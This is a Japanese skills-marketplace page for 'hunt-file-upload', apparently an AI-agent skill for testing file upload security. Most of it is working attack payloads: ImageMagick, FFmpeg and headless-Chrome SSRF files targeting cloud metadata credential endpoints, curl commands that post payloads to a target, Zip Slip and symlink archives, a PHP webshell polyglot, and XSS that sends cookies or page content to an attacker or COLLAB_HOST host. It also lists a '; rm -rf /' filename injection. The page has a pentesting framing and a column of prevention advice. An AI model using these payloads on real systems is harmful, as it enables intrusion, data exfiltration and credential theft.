mcpField
H
hunt-file-upload

hunt-file-upload

github.com/uphiagoセキュリティ1.3k41 回インストール8 週間前に更新
リポジトリ

hunt-file-upload について

hunt-file-uploadは、ファイルアップロード機能を評価するセキュリティテスト用スキルです。バイパス手法、ファイル処理への攻撃、検証方法を整理し、セキュリティ研究者を支援します。

主な機能

  1. 01拡張子、MIME、マジックバイトの検査
  2. 02SVG、Office、アーカイブへの攻撃パターン
  3. 03ImageMagick、FFmpeg、PDFのSSRF事例
  4. 04アップロード脆弱性の検証と注意点

活用シーン

  1. 01サーバー側アップロード検証の評価
  2. 02画像・文書処理パイプラインのテスト
  3. 03アーカイブ展開時のパストラバーサル確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-file-upload

インストール後、Claude Code で/hunt-file-uploadを入力して読み込まれたか確認します。

詳細

Content-Type と拡張子のバイパス

Content-Type のバイパス
filename=shell.php, Content-Type: image/jpeg  → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5   → extension variants
ファイルアップロードのバイパス手法(10 種類)
攻撃方法防止策
拡張子のバイパスshell.php.jpg、shell.pHp、shell.php5許可リストを使用し、最後の拡張子を抽出する
ヌルバイトshell.php%00.jpgヌルバイトをサニタイズする
二重拡張子shell.jpg.php拡張子を 1 つだけ許可する
MIME スプーフィング.php の本文に対して Content-Type: image/jpeg を指定するMIME ヘッダーではなくマジックバイトを検証する
マジックバイトのプレフィックスPHP コードの先頭に GIF89a; を付加するヘッダーだけでなくファイル全体を解析する
ポリグロットJPEG と PHP の両方として有効画像ライブラリで処理し、無効な場合は拒否する
SVG JavaScript<svg onload="...">SVG をサニタイズするか、完全に禁止する
DOCX 内の XXEOffice ZIP 内の悪意のある XML外部エンティティを無効にする
ZIP スリップアーカイブ内の ../../../etc/passwd展開先のパスを検証する
ファイル名インジェクションファイル名に ; rm -rf / を指定するサニタイズし、UUID のファイル名を使用する
マジックバイトのリファレンス
種類16 進数
JPEGFF D8 FF
PNG89 50 4E 47 0D 0A 1A 0A
GIF47 49 46 38
PDF25 50 44 46
ZIP/DOCX/XLSX50 4B 03 04
SVG を介した保存型 XSS
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

ImageMagick / FFmpeg の悪用

ImageMagick の SSRF / ファイル読み取り(ImageTragick 系および最新の亜種)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF

# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://[REDACTED_IP]/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF

# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
HLS プレイリストを介した FFmpeg の SSRF
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF

# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF

# Test: upload .m3u8 or video file to any video processing endpoint

ヘッドレス Chrome / PDF 生成ツールの SSRF

HTML → PDF コンバーターへの攻撃
# Target: invoice generators, report exporters, screenshot services
# Inject HTML that causes headless Chrome to fetch internal resources

# SSRF via CSS import
PAYLOAD='<html><head><style>@import url("http://[REDACTED_IP]/latest/meta-data/");</style></head><body>test</body></html>'

# SSRF via HTML iframe
PAYLOAD='<html><body><iframe src="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'

# Local file read
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'

# JavaScript execution (if sandbox not enforced)
PAYLOAD='<html><body><script>
fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));
</script></body></html>'

# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpoint
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/generate-pdf" \
  -H "Content-Type: application/json" \
  -d "{\"html\": \"$PAYLOAD\"}"

アーカイブ展開攻撃(Zip Slip / シンボリックリンク)

# Zip Slip — path traversal via archive filenames
pip3 install evilarc
python3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip

# Symlink attack — archive contains symlink to sensitive file
mkdir -p /tmp/sym_attack
ln -s /etc/passwd /tmp/sym_attack/innocent.txt
zip -ry /tmp/symlink.zip /tmp/sym_attack/

# TAR symlink attack
tar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/

# Test: upload to any /import, /extract, /unzip endpoint
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/import" \
  -F "file=@/tmp/zipslip.zip"

検証

ファイルアップロードの調査準備が整っていることを確認するため、このセルフテストを実行します。

  1. スキルの完全性 — スキルファイルが読み取り可能で、形式が正しいことを確認します。

    grep -q "name: hunt-file-upload" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリがあることを確認します。

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. Pitfalls セクション — Pitfalls が記載されていることを確認します。

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3 つのテストすべてで、スキルが適切に構成され、使用する準備ができていることを確認します。


Pitfalls

  • 実行を伴わないアップロード — .php ファイルを、テキストとして配信するディレクトリにアップロードしても、RCE にはなりません。必要なのはコードの実行であり、単なるファイルの保存ではありません。
  • 同一オリジンでのレンダリングを伴わない SVG XSS — 別のオリジンにアップロードされた SVG は、CSP や同一オリジンポリシーによってスクリプトが実行されない場合があります。実際のレンダリング環境でテストしてください。
  • サーバー側の検証を伴わない拡張子ブラックリストのバイパス — クライアント側の拡張子チェックを回避しても、何の証明にもなりません。必ずサーバー側で受け入れられることをテストしてください。
  • Content-Type のスプーフィング — Content-Type ヘッダーを変更しても、サーバーによるファイルの処理方法は変わりません。サーバー側で MIME の混同が起きることを確認する必要があります。
  • ファイル名のパストラバーサル — ファイル名に ../../../etc/passwd を指定するのはパストラバーサルであり、アップロードの悪用ではありません。この 2 つを区別してください。

関連するスキルとチェーン

  • hunt-rce — 従来の PHP/JSP/ASPX スタックでは、直接配信されるアップロードディレクトリや、デシリアライザーに渡されるプロセッサーを見つけると、ファイルアップロードが RCE の最も一般的な経路になります。チェーンのプリミティブ:ポリグロット GIF89a;<?php system($_GET['c']);?> でマジックバイトチェックを回避し、.phtml 拡張子で許可リストを回避 → GET /uploads/shell.phtml?c=id → RCE。または、攻撃者が制御するパスに対して file_exists() を呼び出すシンクに PHP phar:// をアップロード → PHP オブジェクトのデシリアライズ → RCE。
  • hunt-xxe — Office 形式(DOCX/XLSX/PPTX)、SVG、SOAP 添付ファイルは、ZIP 内の XML です。アップロードして解析する機能はすべて、XXE の潜在的な候補です。チェーンのプリミティブ:[Content_Types].xml または word/document.xml に、攻撃者が制御する DTD を参照するパラメーターエンティティ DTD を含む DOCX をアップロード → ブラインド XXE による OOB ファイル読み取り → ドキュメントパーサー経由で /etc/passwd または web.config を流出させる。
  • hunt-xss — アップロード後に同一オリジンで配信される SVG、HTML ファイル、PDF は、格納型 XSS の温床になります。チェーンのプリミティブ:<script>fetch('//attacker/?'+document.cookie)</script> を含む SVG をアップロード → 被害者が添付ファイル app.target.com/uploads/x.svg を閲覧(同一オリジンで、サンドボックス化されていない)→ Cookie 窃取 → セッションハイジャックによる ATO。
  • hunt-ssrf — 画像処理ライブラリ(ImageMagick、ffmpeg)は、アップロードされたファイル内のリモート URL を取得します。チェーンのプリミティブ:<image xlink:href="http://[REDACTED_IP]/latest/meta-data/iam/security-credentials/"> を含む SVG/MVG、または ffmpeg concat:http://internal/... をアップロード → AWS IMDS への SSRF → クラウド認証情報の窃取。ImageTragick CVE-2016-3714 系の脆弱性は、レガシー環境で今なお利用可能です。
  • security-arsenal — ファイルアップロードのバイパスツリーを活用してください。拡張子/MIME/マジックバイトのバイパステーブル(10 行:二重拡張子、ヌルバイト、大文字小文字のバリエーション、.phtml/.phar/.php5/.pht、ハンドラーを再有効化するための .htaccess のアップロード、IIS での web.config のアップロード)、SVG/MVG/SVGZ のペイロード、DOCX-XXE テンプレート、アーカイブ内の ZIP Slip パストラバーサル、ポリグロット生成ツール。
  • triage-validation — 再現性ゲートを適用してください。ファイルが正常にアップロードされても、配信も実行も解析もされなければ、発見事項ではなく、書き込み専用のデータにすぎません。クリティカルな RCE を実証するには、アップロードしたシェルで whoami の往復結果を実際に確認する必要があります。格納型 XSS を実証するには、ファイルがディスク上に存在するだけではなく、被害者のブラウザーでポップアップが表示される必要があります。
フェーズ X — 処理の競合と CDN キャッシュポイズニング

処理の競合:無害なファイルをアップロード → プロセッサーの検証に成功 → 配信前に攻撃者が悪意のあるファイルで上書きします。 アップロードヘッダーによる CDN キャッシュポイズニング:アップロードした画像に対して Cache-Control: public, max-age=31536000 と Content-Type: text/html を強制します。 Zip Slip:../../../var/www/html/shell.php のパストラバーサルエントリーを含むアーカイブを作成します。

コメント